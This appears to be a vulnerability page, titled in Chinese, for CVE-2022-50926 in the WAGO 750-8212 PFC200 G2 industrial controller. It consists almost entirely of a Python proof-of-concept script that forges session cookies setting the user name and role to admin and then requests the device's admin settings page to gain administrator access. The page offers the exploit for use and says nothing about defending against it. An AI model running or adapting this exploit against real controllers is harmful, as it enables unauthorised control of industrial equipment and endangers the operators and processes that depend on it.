CVE-2022-50926: WAGO 750-8212 PFC200 G2 会话Cookie权限提升漏洞

import requests import json # CVE-2022-50926 PoC - WAGO PFC200 G2 Cookie Privilege Escalation # Target: WAGO 750-8212 PFC200 G2 2ETH RS TARGET_IP = "192.168.1.100" TARGET_URL = f"http://{TARGET_IP}" def exploit_privilege_escalation(): """ Exploit CVE-2022-50926 by modifying session cookie parameters to escalate from regular user to admin privileges """ # Step 1: Capture legitimate user session cookie session = requests.Session() # Step 2: Modify cookie 'roles' parameter to admin # Original: roles=user -> Modified: roles=admin modified_cookie = { 'name': 'admin', # Impersonate admin user 'roles': 'admin', # Elevate privileges 'session_id': 'legitimate_session_id' } # Step 3: Send request with modified cookie headers = { 'Cookie': f"name={modified_cookie['name']}; roles={modified_cookie['roles']}; session_id={modified_cookie['session_id']}" } response = session.get(f"{TARGET_URL}/admin/settings", headers=headers) # Step 4: Verify admin access gained if response.status_code == 200 and 'admin' in response.text.lower(): print("[+] Privilege escalation successful - Admin access obtained") return True else: print("[-] Exploitation failed") return False if __name__ == "__main__": exploit_privilege_escalation()